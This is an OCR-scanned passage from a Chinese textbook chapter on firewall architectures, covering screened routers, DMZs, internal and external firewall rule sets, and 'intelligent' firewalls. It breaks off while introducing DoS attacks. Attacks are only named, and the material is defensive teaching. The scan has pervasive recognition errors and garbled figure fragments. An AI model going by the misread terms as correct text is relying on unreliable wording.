(1) 软件 防火 墙 \ 硬 件 防火 墙 和 芯片 防火 墙 的 主要 区 别 是 什么 ? 

(2) 包 过 滤 防 火 墙 工作 在 OSI 参考 模型 的 哪 一 层 ? 

(3) 什么 是 状态 检测 技术 ? 


83 防火 墙 的 体系 结构 


目前 ,主要 有 4 种 常见 的 防火 墙 体系 结构 ,分 别 为 :屏蔽 路 由 器 、 双 宿主 主机 网 关 、 被 
屏蔽 主机 网 关 和 被 屏蔽 子 网 。 
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831 屏蔽 路 由 器 


屏蔽 路 由 器 是 一 个 具有 数据 包 过 滤 功 能 的 路 由 器 , 既 可 以 是 一 个 硬件 设备 ,也 可 以 
一 台 主 机 。 路 由 器 上 安装 有 IP 层 的 包 过 滤 软件 ,可 以 进行 简单 的 数据 包 过 滤 。 因 为 
路 由 器 是 受 保护 网 络 和 外 部 网 络 连接 的 必然 通道 ,所 以 屏蔽 路 由 器 的 使 用 范围 很 广 。 其 
缺点 也 很 明显 ,一 旦 屏蔽 路 由 器 的 包 过 滤 功 能 失效 , 受 保护 网 络 和 外 部 网 络 就 可 进行 任 
何 数据 通信 。 
屏蔽 路 由 器 是 最 基本 的 防火 墙 体系 结构 ,如 图 8-6 所 示 。 
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8-6 ”屏蔽 路 由 器 


832 双 宿 主 主机 网 关 


双 宿 主 主 机 网 关 是 围绕 具有 双重 宿主 的 主机 (计算 机 ?而 构筑 的 ,该 计算 机 至 少 有 两 
个 网 络 接口 。 这 样 的 主机 可 以 充当 与 这 些 接口 相连 的 网 络 之 间 的 路 由 器 , 它 能 够 从 一 个 
网 络 到 另 一 个 网 络 发 送 IP 数据 包 。 实 现 双 宿主 主机 的 防火 墙 体系 结构 禁止 这 种 发 送 功 
能 。 所 以 IP 数据 包 从 一 个 网 络 并 不 是 直接 发 送 到 其 他 网 络 。 防 火 墙 内 部 的 系统 能 与 双 
宿主 主机 通信 ,同时 防火 墙 外 部 的 系统 能 与 双 宿 主 主机 通信 ,但 是 这 些 系统 不 能 直接 互 
相通 信 。 它 们 之 间 的 IP 通信 被 完全 阻止 。 

双 宿 主 主机 的 防火 墙 体系 结构 相当 简单 : 双 宿 主 主机 位 于 两 者 之 间 , 并 且 被 连接 到 
外 部 网 络 和 内 部 网 络 。 在 双 宿 主 主机 体系 中 应 用 最 广 的 是 双 宿主 主机 网 关 , 其 网 关 是 用 
一 台 装 有 两 块 网 卡 的 堡垒 主机 做 防火 墙 。 两 块 网 卡 各 自 与 受 保护 网 络 和 外 部 网 络 相连 ， 
如 图 8-7 所 示 。 


e —— 8 —— Ç 
—_ 网 类 


图 8-7 双 宿 主机 网 关 


堡垒 主机 装 有 相应 的 路 由 软件 ,可 以 很 容易 地 实现 网 关 的 功能 ,并 且 可 以 有 详尽 的 
日 志 , 也 可 以 安装 相应 的 系统 管理 软件 ,便于 系统 管理 员 使 用 。 双 宿主 主机 网 关 优 于 屏 
项 路 由 器 的 地 方 是 : 堡垒 主机 的 系统 软件 可 用 于 维护 系统 日 志 、 硬 件 拷贝 日 志 或 远程 拷 
贝 日 志 。 这 一 点 对 于 日 后 的 检查 很 有 用 ,但 不 能 帮助 网 络 管理 者 确认 内 网 中 哪些 主机 可 
能 已 被 黑客 人 侵 。 双 宿主 主机 网 关 的 一 个 致命 弱点 是 : 一 旦 人 侵 者 侵入 堡垒 主机 并 使 其 
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只 具有 路 由 功能 , 则 任何 外 网 上 的 用 户 均 可 以 随便 访问 内 网 。 
833 被 屏蔽 主机 网 关 


被 屏蔽 主机 网 关 结 构 由 一 台 屏 项 路 由 器 和 一 台 堡 又 主机 组 成 ,路 由 器 提供 来 自 仅 与 
内 部 网 络 相连 的 主机 的 服务 ,如 图 8-8 所 示 。 在 这 种 体系 结构 中 ,主要 的 安全 策略 为 数据 
包 过 滤 。 


屏蔽 路 由 器 


防火 墙 


8-8 被 屏蔽 主机 网 关 


堡垒 主机 在 受 保护 网 络 中 ,可 以 与 受 保护 网 络 的 主机 进行 通信 ,也 可 以 和 外 部 网 络 
的 主机 建立 连接 。 屏 项 路 由 器 的 作用 是 允许 堡垒 主机 和 外 部 网 络 之 间 的 通信 ,同时 阻止 
所 有 受 保护 网 络 的 其 他 主机 和 外 部 网 络 直接 通信 。 堡 又 主机 成 为 从 外 部 网 络 唯一 可 直 
接 到 达 的 主机 ,此 时 它 就 起 到 了 网 关 的 作用 。 内 部 网 络 的 安全 由 屏蔽 路 由 器 和 堡垒 主机 
共同 保证 ,如 果 屏 项 路 由 器 被 攻破 , 则 内 部 网 络 就 直接 暴露 了 。 


834 被 屏蔽 子 网 


被 屏 项 子 网 体系 结构 添加 额外 的 安全 层 到 被 屏蔽 主机 体系 结构 中 , 即 通 过 添加 周边 
网 络 更 进一步 地 把 内 部 网 络 与 外 部 网 络 隔离 开 。 由 两 台 屏 蔽 路 由 器 将 受 保护 网 络 和 外 
部 网 络 隔离 开 , 中 间 形 成 一 个 隔离 带 (DMZ, 非 军事 区 或 隔离 区 ) ,就 构成 了 被 屏蔽 子 网 结 
构 , 如 图 8-9 所 示 。 

隔离 区 可 以 被 外 部 网 络 访问 ,这 一 点 是 由 靠近 外 部 网 络 的 屏蔽 路 由 器 控制 的 。 一 般 
企业 的 IIS 服务 器 和 FTP 服务 器 放 在 隔离 区 中 。 外 部 网 络 是 不 能 够 直接 访问 内 部 网 络 
的 ,这 一 点 由 靠近 内 部 网 络 的 屏蔽 路 由 器 控制 。 为 了 让 受 保护 网 络 的 主机 可 以 和 外 部 网 
络 的 主机 通信 ,一般 采 用 的 方法 是 在 隔离 区 内 增加 一 台 堡 又 主机 ,显然 这 人 台 堡 从 主机 可 
以 被 内 部 网 络 的 主机 访问 ,另外 , 它 也 可 以 访问 外 部 网 络 , 此 时 ,这 人 台 堡 又 主机 也 就 起 到 
了 网 关 的 作用 ,这 一 点 和 被 屏蔽 主机 网 关 的 情形 类 似 。 

这 种 体系 结构 比较 复杂 ,但 是 安全 性 也 得 到 了 提升 , 它 将 受 保护 网 络 的 主机 和 需要 提 
供 服 务 的 服务 器 隔离 起 来 :使 外 部 网 络 无 法 直接 到 达 内 部 ,增加 了 入 侵 受 保护 网 络 的 难度 。 

后 讨论 思考 

(1) 常见 的 防火 墙 体系 结构 有 哪些 ? 

(2) 简 述 双 宿 主 主机 的 防火 墙 体系 结构 。 
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图 8-9 被 屏蔽 子 网 


84 防火 墙 的 主要 应 用 


防火 墙 可 应 用 于 网 络 内 部 或 网 络 之 间 ,就 像 路 由 器 一 样 。 应 用 于 内 、 外 网 络 之 间 的 
防火 墙 通常 被 称 为 外 部 防火 墙 , 而 应 用 于 内 部 网 络 不 同 网 段 之 间 的 防火 墙 被 称 为 内 部 防 
火 墙 。 


84 企业 网 络 的 体系 结构 


现代 企业 为 了 加 强 自身 网 络 的 安全 , 免 受 非法 用 户 的 入 侵 , 通 常 采用 被 屏蔽 子 网 体 
系 结构 来 构建 本 企业 网 络 ,这 通常 由 3 部 分 组 成 : 边界 网 络 ` 外 围 网 络 和 内 部 网 络 ,其 结 
构 如 图 8-10 所 示 。 

边界 网 络 通过 边界 路 由 器 直接 面向 Internet 或 者 其 他 外 部 网 络 , 并 通过 边界 防火 墙 
进行 内 、 外 围 网 络 之 间 的 数据 传输 。 

外 围 网 络 通常 被 称 为 DMZ, 它 将 外 部 传人 的 用 户 请 求 连接 到 Web 服务 器 .FTP JR 
务 器 等 公共 服务 器 ,然后 公共 服务 器 再 通过 内 部 防火 墙 连接 到 内 部 网 络 。 

内 部 网 络 则 连接 各 个 内 部 服务 器 (如 SQL Server 等 数据 服务 安全 性 要 求 较 高 的 服 
务 器 ) 和 内 部 用 户 ,属于 重点 保护 对 象 。 

非法 入 侵 不 仅 来 自 外 网 ,网络 内 部 同样 存在 。 因 此 为 了 同时 拦截 分 别 来 自 网 络 内 外 
的 人 侵 ,企业 组 织 在 构建 企业 网 时 通常 采用 两 个 防火 墙 : 针对 外 来 人 侵 者 的 外 围 防火 墙 ， 
主要 提供 对 不 受信 任 的 外 部 用 户 的 限制 ;预防 网 内 攻击 的 内 部 防火 墙 ,主要 侧重 于 防止 
外 部 用 户 访问 内 部 网 络 并 且 限 制 内 部 用 户 可 以 执行 的 操作 。 

【案例 8-2】〗 使 用 瑞星 防火 墙 ,组 建 的 小 型 企业 网 络 方案 如 图 8-11 所 示 。 

在 此 网 络 方案 中 ,企业 采用 的 是 10Mb/s 的 专线 实现 与 Internet 的 互联 , 因 是 非 通信 
专业 网 络 ,因此 在 线路 速度 上 对 防火 墙 的 要 求 不 高 。 企 业 通过 路 由 器 连接 Internet, 路 由 
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8-11 使 用 瑞星 防火 墙 的 典型 企业 结构 


器 的 以 太 网 接口 直接 连接 到 防火 墙 的 网 络 端口 1 上 ,企业 的 非 军 事 区 ( 即 被 屏蔽 子 网 ) 通 
过 交换 机 连接 在 防火 墙 的 网 络 端口 2 上 ,企业 的 内 部 网 络 通过 交换 机 连接 在 防火 墙 的 网 
络 端口 3 上 ,而 端口 4 由 防火 墙 配置 PC 占用 。 由 此 方式 ,防火 墙 可 同时 保护 企业 的 服务 
器 和 内 部 的 其 他 网 络 终端 。 

内 部 的 所 有 终端 可 以 采用 内 部 网 的 私有 网 络 地 址 ,例如 192. 168. 0. XXX 网 段 , 通 
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过 防火 墙 NAT 功能 连接 Internet, 将 IP 地 址 资源 保留 给 服务 器 使 用 。 
842 内 部 防火 墙 系统 设计 


内 部 防火 墙 用 于 控制 对 内 部 网 络 的 访问 以 及 从 内 部 网 络 进行 访问 。 用 户 类 型 可 能 
分 为 信任 、 部 分 信任 和 不 信任 3 个 级 别 。 信 任 级 用 户 通 常 包括 组 织 的 雇员 ,可 以 是 要 到 
外 围 区 域 或 Internet 的 内 部 用 户 、 外 部 用 户 ( 如 分 支 办 事 处 工作 人 员 ) .远程 用 户 或 在 家 
中 办 公 的 用 户 。 部 分 信任 级 用 户 为 组 织 的 业务 合作 伙伴 ,这 类 用 户 的 信任 级 别 比 不 受信 
任 的 用 户 高 ,但 其 信任 级 别 经 常 比 组 织 的 雇员 要 低 。 上 诉 两 类 用 户 以 外 的 所 有 其 他 用 户 
都 被 归 为 不 信任 用 户 ,例如 组 织 的 公共 网 站 的 用 户 。 

理论 上 ,来 自 Internet 的 不 受信 任 的 用 户 应 该 仅 访问 外 围 区 域 中 的 堡垒 主机 或 服务 
器 。 如 果 他 们 需要 对 内 部 网 络 数据 服务 器 进行 访问 (例如 ,检查 企业 信用 级 别 等 ), 受 信 
任 的 堡垒 主机 或 服务 器 将 代替 他 们 进行 查询 并 返回 相应 结果 ,从 而 不 受信 任用 户 将 无 法 
通过 内 部 防火 墙 的 审查 。 


1. 内 部 防火 墙 应 用 思想 


内 部 防火 墙 在 控制 外 围 网 络 和 内 部 网 络 通信 的 同时 ,还 负 有 审查 内 部 通信 流量 的 责 
任 , 因 为 内 部 通信 的 合法 目的 地 可 能 是 内 部 网 络 中 的 任何 服务 器 ,因而 更 难 控制 ,因此 内 
部 防火 墙 比 外 围 防火 墙 在 技术 上 具有 更 严格 的 要 求 。 内 部 防火 墙 要 能 实现 对 内 外 接口 
处 异常 IP 数据 包 的 检测 ,实现 防火 墙 两 侧 DNS 服务 器 间 的 映射 ,解决 内 网 SMPT、FTP 
和 Web 等 服务 器 与 相应 堡垒 主机 间 的 数据 转发 ,解决 VPN 的 通信 问题 以 及 支持 通过 代 
理 服务 器 来 实现 对 外 网 的 Web 访问 等 多 种 功能 。 不 同 企业 的 网 络 具 有 很 大 差异 性 ,有 
些 规则 对 企业 网 并 非 是 必需 的 。 企 业 网 内 部 防火 墙 规则 的 选择 涉及 企业 网 所 处 的 具体 
网 络 环 境 和 企业 特点 等 多 个 因素 ,规则 过 多 过 细则 影响 网 络 运行 效率 ,过 少 过 粗 又 可 能 
妨碍 网 络 的 安全 运行 。 因 此 ,在 应 用 企业 网 络 内 部 防火 墙 时 ,应 谨慎 和 仔细 地 选择 。 


2. 内 部 防火 墙 的 应 用 方案 


内 部 防火 墙 主 要 防止 外 部 用 户 访 问 内 部 网 络 ,并 且 限 制 内 部 用 户 可 以 执行 的 操作 。 
因此 ,内 部 防火 墙 具 体 应 用 方案 可 以 实现 如 下 功能 : 

(1) 内 部 防火 墙 可 以 精确 制定 各 用 户 的 访问 权限 ,保证 内 网 用 户 只 能 访问 必要 的 

(2) 对 于 拨号 备份 线路 的 连接 ,通过 强大 的 认证 功能 实现 对 远程 用 户 的 管理 。 

(3) 内 部 防火 墙 可 以 记录 网 段 的 访问 信息 ,及 时 发 现 误 操作 和 来 自 内 部 网 络 其 他 网 
段 的 攻击 行为 。 

(4) 通过 集中 的 安全 策略 管理 ,每 个 网 段 上 的 主机 不 必 单 独 设立 安全 策略 ,降低 了 人 
为 因素 导致 产生 网 络 安全 问题 的 可 能 性 。 


843 外 部 防火 墙 系统 设计 
外 部 防火 墙 是 处 于 企业 内 部 网 络 与 外 部 网 络 (包括 Internet ,广域网 ,边界 网 络 和 其 
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他 公司 的 专用 网 络 ) 之 间 的 安全 防线 。 防火墙 的 内 、 外 网 卡 分 别 连 接 内 、 外 网 络 ,但 内 部 
网 络 和 外 部 网 络 是 从 俱 辑 上 完全 隔 开 的 ,如 图 8-12 所 示 。 


i 边界 网 络 E-mail 
一 一 人 一 

1 I 交 

| hamana — 外 部 交换 机 | 站 Web 
l 


Internet 


SS ! ”外 部 防火 墙 


图 8-12 企业 外 部 防火 墙 结构 


所 有 来 自 外 部 网 络 的 服务 请 求 只 能 到 外 部 防火 墙 的 外 部 网 卡 ,防火 墙 对 收 到 的 数据 
包 进 行 分 析 后 ,将 合法 的 请 求 通过 内 部 网 卡 传送 给 相应 的 服务 主机 ,对 于 非法 访问 加 以 
拒绝 。 


1. 外 部 防火 墙 的 应 用 方案 


在 企业 设计 网 络 时 ,外 部 防火 墙 是 内 、 外 网 络 间 的 唯一 通信 通道 。 安 装 外 部 防火 墙 
后 ,可 以 实现 内 部 网 络 与 外 部 网 络 的 有 效 隔 离 ,防范 来 自 外 部 网 络 的 非法 攻击 。 同 时 , 保 
证 了 DMZ 服务 器 的 相对 安全 性 和 使 用 便捷 性 。 外 部 防火 墙 是 目前 应 用 最 广 的 防火 墙 。 
如 果 要 保证 网 络 的 安全 性 ,就 不 能 再 有 另外 的 其 他 网 络 连接 途径 。 在 有 些 企 业 中 允许 一 
些 特殊 用 户 ( 如 企业 高 层 领导 ) 通 过 拨号 方式 与 其 他 网 络 连 接 。 这 样 ,企业 网 络 的 安全 性 
就 无 法 控制 ,在 无 形 之 中 就 给 非法 用 户 打开 了 一 个 可 以 入 侵 的 大 门 ,这 是 需要 绝对 禁 
止 的 。 

外 部 防火 墙 具体 可 以 实现 以 下 功能 : 

(1) 通过 源 地 址 过 滤 ,拒绝 外 部 非法 IP 地 址 ,有 效 避 免 了 外 部 网 络 上 与 业务 无 关 的 
主机 越权 访问 ,防火墙 可 以 只 保留 有 用 的 服务 。 

(2) 关闭 其 他 不 需要 的 服务 ,将 系统 受 攻击 的 可 能 性 降低 到 最 小 限度 ,使 黑客 无 机 
可 乘 。 

(3) 制定 访问 策略 ,使 只 有 被 授权 的 外 部 主机 可 以 访问 内 部 网 络 有 限 的 IP 地 址 , 保 
证 外 部 网 络 只 能 访问 内 部 网 络 中 必要 的 资源 ,与 业务 无 关 的 操作 将 被 拒绝 。 

(4) 由 于 外 部 网 络 的 DMZ 主机 的 所 有 访问 都 要 经 过 防火 墙 ,防火 墙 可 以 全 面 监视 
外 部 网 络 对 内 部 网 络 的 访问 活动 ,并 进行 详细 记录 ,通过 分 析 可 以 发 现 可 疑 的 攻击 行为 。 

(5) 对 于 远程 登录 的 用 户 , 如 Telnet 等 ,防火 墙 利用 加 强 的 认证 功能 ,可 以 有 效 地 防 
止 非法 入 侵 。 

(6) 集中 管理 网 络 的 安全 策略 ,因此 入 侵 者 无 法 通过 更 改 一 台 主 机 的 安全 策略 而 达 
到 控制 其 他 资源 .获取 访 问 权限 的 目的 。 
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(7) 进行 地 址 转换 工作 ,使 外 部 网 络 不 能 看 到 内 部 网 络 的 结构 ,从 而 使 人 侵 者 找 不 到 
攻击 目标 。 


2. 外 部 防火 墙 系统 设计 规则 


在 通常 情况 下 ,外 部 防火 墙 要 以 默认 形式 或 者 通过 配置 来 实现 以 下 规则 : 

(1) 除了 被 允许 的 通信 外 ,拒绝 所 有 其 他 通信 。 

(2) 阻止 声明 具有 内 部 或 外 部 网 络 源 地 址 的 外 来 数据 包 。 

(3) 阻止 声明 具有 外 部 源 IP 地 址 的 外 出 数据 包 ( 通 信 应 该 只 来 自 堡 又 主机 ) 。 

(4) 允许 从 DNS 解析 程序 到 Internet 上 的 DNS 服务 器 的 基于 TCP 或 UDP 协议 的 
DNS 查询 和 应 答 。 

(5) 允许 基于 UDP 的 外 部 客户 端 查询 DNS 解析 程序 并 提供 应 答 。 

(6) 允许 SMTP 堡垒 主机 与 Internet 的 邮件 相互 进出 。 

(7) 允许 由 代理 发 起 的 通信 从 代理 服务 器 到 达 Internet, 

(8) 人 允许 代理 应 答 从 Internet 定向 到 外 围 网 络 上 的 代理 服务 器 。 

【案例 8-3] 一 个 公司 内 部 网 络 的 地 址 是 192. 168. 3.0, 而 公司 对 外 的 合法 IP 地 址 
是 200. 56. 10. 10—200. 56. 10. 13, 则 内 部 主机 192. 168. 3.5 访 问 因特网 上 的 某 一 Web 
服务 器 时 ,在 通过 代理 服务 器 后 ,IP 地 址 和 端口 可 能 为 200. 56. 10. 11:2000。 在 代理 服 
务 器 中 维护 着 一 张 地 址 对 应 表 , 当 外 部 网 络 的 WWW 服务 返回 结果 时 ,代理 服务 器 将 此 
IP 地 址 和 端口 转化 为 内 部 网 络 的 IP 地 址 和 端口 80。 外 部 防火 墙 是 检测 并 允许 上 述 代理 
服务 器 发 起 的 通信 从 代理 服务 器 到 达 Internet, 同 时 也 允许 代理 应 答 从 Internet 定向 到 
外 围 网 络 上 的 代理 服务 器 。 代 理 服务 器 组 织 了 所 有 的 外 部 网 络 的 主机 与 内 部 网 络 之 间 
的 直接 访问 ,所 有 通信 都 必须 通过 代理 实现 。 

He RE 

(1) 为 何 将 企业 网 络 划分 为 3 个 区 域 ? 外 围 网 络 有 何 用 处 ? 

(2) 简 述 企业 内 部 防火 墙 与 外 部 防火 墙 在 设计 上 的 区 别 ? 


85 智能 防火 墙 概述 


防火 墙 自 出 现 以 来 ,无 论 从 技术 还 是 产品 发 展 历程 上 ,都 经 历 了 5 个 发 展 阶段 。 第 
一 代 防 火 墙 技术 几乎 与 路 由 器 同时 出 现 , 采 用 了 包 过 滤 (packet filter) 技 术 。1989 年 , 贝 
尔 实验 室 的 Dave Presotto 和 Howard Trickey 推出 了 第 二 代 防 火 墙 , 即 电路 级 防火 墙 ， 
同时 提出 了 第 三 代 防 火 墙 应 用 级 防火 墙 (代理 防火 墙 ) ,美国 国防 部 利用 TIS 防火 墙 
套件 做 了 应 用 实践 。1992 年 ,USC 信息 科学 院 的 Bob Braden 开发 出 了 基于 动态 包 过 滤 
(dynamic packet filter) 技 术 的 第 四 代 防 火 墙 ,后 来 演变 为 目前 所 说 的 状态 监视 (stateful 
inspection) 技 术 。1994 年 :以色列 CheckPoint 公司 开发 出 了 第 一 个 采用 这 种 技术 的 商 
业 化 的 产品 。1998 年 ,NAI 公 司 推出 了 一 种 自 适应 代理 (adaptive proxy) 技 术 , 并 在 其 产 
品 Gauntlet Firewall for NT 中 得 以 实现 ,给 代理 类 型 的 防火 墙 赋予 了 全 新 的 意义 ,可 以 
称 之 为 第 五 代 防 火 墙 。 
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851 传统 防火 墙 的 安全 问题 


传统 防火 墙 技术 有 一 个 共同 的 特点 ,就 是 采用 逐一 匹配 方法 ,计算 量 太 大 。 包 过 滤 
是 对 IP 包 进 行 匹配 检查 ,状态 检测 包 过 滤 除 了 对 包 进 行 匹 配 检查 外 ,还 要 对 状态 信息 进 
行 匹配 检查 ,应 用 代理 对 应 用 协议 和 应 用 数据 进行 匹配 检查 。 因 此 ,它们 都 有 一 个 共同 
的 缺陷 , 即 安全 性 越 高 ,检查 的 越 多 ,效率 越 低 。 用 一 个 定律 来 描述 ,就 是 防火 墙 的 安全 
性 与 效率 成 反比 。 

防火 墙 在 所 有 的 安全 设备 采购 中 占据 第 一 的 位 置 。 但 传统 的 防火 墙 并 没有 解决 网 
络 主要 的 安全 问题 。 目 前 网 络 安全 的 三 大 主要 问题 是 : 以 拒绝 访问 (DDoS ) 为 主要 目的 
的 网 络 攻 击 , 以 蠕虫 (worm) 为 主要 代表 的 病毒 传播 ,和 以 垃圾 电子 邮件 (SPAM) 为 代表 
的 内 容 控制 。 这 三 大 安全 问题 占据 网 络 安全 问题 九 成 以 上 。 而 对 于 这 三 大 问题 , 非 智能 
防火 墙 都 无 能 为 力 。 

根据 2003 年 美国 联邦 调查 局 (FBI) 和 计算 机 犯罪 调查 机 构 (CSI) 联 合 发 布 的 报告 ， 
超过 50 色 的 被 调查 者 承认 遭受 拒绝 访问 攻击 ,80% 的 被 调查 者 遭受 病毒 的 攻击 。 垃 圾 电 
子 邮件 更 猩 狂 ,IDC 估计 到 2006 年 ,全球 每 天 发 送 的 垃圾 信息 将 超过 200 亿 条 。 

传统 的 防火 墙 不 能 解决 上 述 三 大 问题 的 原因 有 三 个 。 一 是 传统 防火 墙 的 计算 能 力 
的 限制 。 传 统 的 防火 墙 是 以 高 强度 的 检查 为 代价 ,检查 的 强度 越 高 ,计算 的 代价 越 大 。 
二 是 传统 防火 墙 的 访问 控制 机 制 是 一 个 简单 的 过 滤 机 制 。 它 是 一 个 简单 的 条 件 过 滤器 ， 
不 具有 智能 功能 ,无 法 解决 复杂 的 攻击 。 三 是 传统 的 防火 墙 无 法 区 分 善意 和 恶意 的 行 
为 ,该 特征 决定 了 传统 的 防火 墙 无 法 解决 恶意 的 攻击 行为 。 


852 新 一 代 的 智能 防火 墙 


智能 防火 墙 是 相对 于 传统 的 防火 墙 而 言 的 ,顾名思义 , 它 更 聪明 ,更 智能 。 很 多 用 户 
非常 接受 智能 防火 墙 概 念 ,在 他 们 的 眼 里 ,不 聪明 就 是 不 可 靠 不 安 全 。 对 于 传统 的 防火 
墙 存在 的 很 多 问题 ,用 户 往往 难以 理解 。 用 户 经 常会 问 , 为 什么 防火 墙 不 能 防止 黑客 的 
攻击 ? 安全 专家 用 记录 的 数据 来 分 析 , 一 眼 就 发 现 黑客 的 攻击 ,为 什么 防火 墙 不 行 ? 原 
因 就 是 传统 的 防火 墙 是 一 个 简单 机 制 ,机 械 地 执行 安全 策略 ,这 由 图 8-13 所 示 的 传统 防 
火 墙 的 体系 结构 可 以 反映 出 来 。 

智能 防火 墙 从 技术 特征 上 ,是 利用 统计 记忆、 概率 和 决策 的 智能 方法 来 对 数据 进行 
识别 ,并 达到 访问 控制 的 目的 。 新 的 数学 方法 消除 了 匹配 检查 所 需要 的 海量 计算 ,能够 
高 效 地 发 现 网 络 行为 的 特征 值 ,直接 进行 访问 控制 。 由 于 这 些 方法 多 是 人 工 智 能 学 科 采 
用 的 方法 ,因此 将 这 种 防火 墙 称 为 智能 防火 墙 ,其 体系 结构 如 图 8-14 所 示 。 

一 个 典型 例子 可 以 说 明智 能 防火 墙 对 网 络 安 全 的 重要 性 。 传 统 的 防火 墙 对 包 的 检 
查 如 同 对 人 采用 的 相貌 图 像 识 别 ,把 一 个 人 的 相貌 转换 为 图 像 , 对 图 像 的 每 一 个 像素 进 
行 记忆 ,然后 进行 匹配 检查 ,通过 检查 上 千 万 个 像素 之 后 ,告诉 你 这 是 谁 。 但 人 不 是 这 样 
来 识别 相貌 的 。 人 几乎 无 须 计算 就 可 以 立即 识别 你 是 谁 ,这 就 是 智能 识别 。 智 能 防火 墙 无 
须 海量 计算 就 可 以 轻松 找到 网 络 行为 的 特征 值 来 识别 网 络 行为 ,从 而 轻松 地 执行 访问 控制 。 
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图 8-13 传统 防火 墙 体系 结构 
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8-14 智能 防火 墙 体系 结构 
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853 智能 防火 墙 的 关键 技术 
智能 防火 墙 的 关键 技术 主要 有 如 下 6 种 。 
1. 防范 攻击 技术 


智能 防火 墙 能 智能 地 识别 恶意 数据 流量 ,并 有 效 地 阻 断 恶意 数据 攻击 。 智 能 防火 墙 
可 以 有 效 地 解决 SYN Flooding、Land Attack .UDP Flooding、Ping Flooding.Smurf.Ping 
of Death、Unreachable Host 等 攻击 。 防 攻击 技术 还 可 以 有 效 地 切断 恶意 病毒 或 木马 的 
流量 攻击 。 关 于 这 部 分 内 容 在 8. 5. 5 节 还 会 进一步 阐述 。 


2. 防 扫描 技术 


智能 防火 墙 能 智能 识别 黑客 的 恶意 扫描 ,并 有 效 地 阻 断 或 欺骗 恶意 扫描 者 。 对 目前 
已 知 的 扫描 工具 ,如 ISS、SSS、NMAP 等 ,智能 防火 墙 可 以 防止 被 扫描 。 防 扫描 技术 还 可 
以 有 效 地 解决 恶意 代码 的 恶意 扫描 攻击 。 
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3. 防 欺骗 技术 


智能 防火 墙 提供 基于 MAC 的 访问 控制 机 制 , 可 以 防止 MAC 欺骗 和 IP 欺骗 ,支持 
MAC 过 滤 和 IP 过 滤 ,将 防火 墙 的 访问 控制 扩展 到 OSI 参考 模型 的 第 二 层 。 


4. 入 侵 防 御 技术 


智能 防火 墙 为 了 解决 准许 放行 的 数据 包 的 安全 性 ,对 准许 放行 的 数据 进行 人 侵 检 
测 ,并 提供 入 侵 防 御 保 护 。 入 侵 防 御 技术 采用 了 多 种 检测 技术 ,例如 ,特征 检测 可 以 准确 
检测 已 知 的 攻击 ,特征 库 涵盖 了 目前 流行 的 网 络 攻 击 ;异常 检测 基于 对 监控 网 络 的 自学 
习 能 力 , 可 以 有 效 地 检测 新 出 现 的 攻击 ;检测 引擎 中 还 集成 了 针对 缓冲 区 溢出 等 特定 攻 
击 的 检测 。 智 能 防火 墙 完 成 了 深层 数据 包 监 控 , 并 能 阻 断 应 用 层 攻 击 。 


5. 包 擦洗 和 协议 正常 化 技术 


智能 防火 墙 支 持 包 擦洗 技术 ,可 以 对 IP、TCP、UDP、ICMP 等 协议 的 数据 包 进 行 擦 
洗 , 实 现 协议 的 正常 化 ,消除 潜在 的 协议 风险 和 攻击 。 这 些 方 法 对 消除 TCP/IP 协议 的 
缺陷 和 应 用 协议 的 漏洞 所 带 来 的 威胁 效果 显著 。 


6. AAA 技术 


IPv4 版 本 的 一 大 缺陷 是 缺乏 身份 认证 功能 ,所 以 在 IPv6 版 本 中 增加 了 该 功能 。 但 
是 IPv6 的 推广 尚 需 时 日 ,IPv4 在 相当 长 一 段 时 间 内 还 会 继续 存在 。 智 能 防火 墙 增加 了 
对 IP 层 的 身份 认证 ,基于 身份 来 实现 访问 控制 。 


854 智能 防火 墙 的 主要 特点 


从 图 8-13 与 图 8-14 中 可 以 看 出 ,智能 防火 墙 相 比 于 传统 的 防火 墙 ,增加 了 规则 自学 
习 模 块 以 及 规则 优化 模块 ,而 这 恰恰 是 智能 防火 墙 的 核心 。 通 过 这 种 自学 习 能 力 ,智能 
防火 墙 成 功 地 解决 了 普遍 存在 的 拒绝 服务 攻击 (DDoS) 的 问题 .病毒 传播 的 问题 和 高 级 
应 用 入 侵 的 行为 ,代表 了 防火 墙 的 主流 发 展 方向 。 新 一 代 的 智能 防火 墙 自身 的 安全 性 较 
传统 的 防火 墙 有 很 大 的 提高 ,在 特权 最 小 化 .系统 最 小 化 .内 核 安全 .系统 加 固 、. 系 统 优化 
和 网 络 性 能 最 大 化 方面 ,与 传统 防火 墙 相 比 有 质 的 飞跃 。 

智能 防火 墙 执行 全 访问 的 访问 控制 ,而 不 是 简单 地 执行 过 滤 策 略 。 基 于 对 行为 的 识 
别 , 可 以 根据 人 、 时 间 、 地 点 (网 络 层 ) 和 行为 (OSI 七 层 ) 来 执行 访问 控制 ,大 大 增强 了 防 
火 墙 的 安全 性 ,更 聪明 ,更 智能 。 

智能 防火 墙 具备 集中 网 络 管理 平台 ,具备 配置 管理 ,性 能 管理 ,故障 管理 .安全 管理 、 
审计 管理 五 大 管理 域 。 智 能 防火 墙 提供 网 络 实时 监控 功能 。 支 持 监控 的 性 能 包括 CPU、 
内 存 、 网 络 和 硬盘 的 使 用 率 等 信息 ;支持 监控 防火 墙 的 状态 ,并 实时 报警 ;支持 实时 监控 ， 
包括 性 能 监控 、 接 口 流量 监控 等 。 

智能 防火 墙 提供 对 日 志 的 监控 .自动 处 理 ` 人 工 或 自动 导出 数据 库 导 入 、 查 看 、 查 
询 、 显 示 报警 等 功能 ,支持 条 件 查询 。 
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85 用 智能 防火 墙 阻止 攻击 


目前 ,威胁 网 络 安全 行为 的 90% 来 自 以 拒绝 访问 (DoS 和 DDoS) 为 主要 目的 网 络 攻 
击 , 以 蠕虫 为 主要 代表 的 病毒 传播 , 和 以 垃圾 电子 邮件 (SPAM) 为 代表 的 内 容 控制 。DoS 
(Denial of Service) 攻 击 是 一 种 很 简单 但 又 很 有 效 的 进攻 方式 ,能 够 利用 合理 的 服务 请 求 
来 占用 过 多 的 服务 资源 ,从 而 使 合法 用 户 无 法 得 到 服务 。DDoS(CDistributed Denial of 
Service) 是 一 种 基于 DoS 的 特殊 形式 的 拒绝 服务 攻击 ,攻击 者 通过 事先 控制 大 批 倪 偶 机 ， 
并 控制 这 些 设 备 同 时 发 起 对 目标 的 DoS 攻击 ,具有 较 大 的 破坏 性 。 

常见 的 DoS/DDoS 攻击 可 以 分 为 两 大 类 : 一 类 是 针对 系统 漏洞 的 攻击 。 例 如 , 泪 滴 
CTearDrop) 攻 击 利用 在 TCP/IP 协议 栈 实 现 中 信任 IP 碎片 中 的 包 的 标题 头 所 包含 的 信 
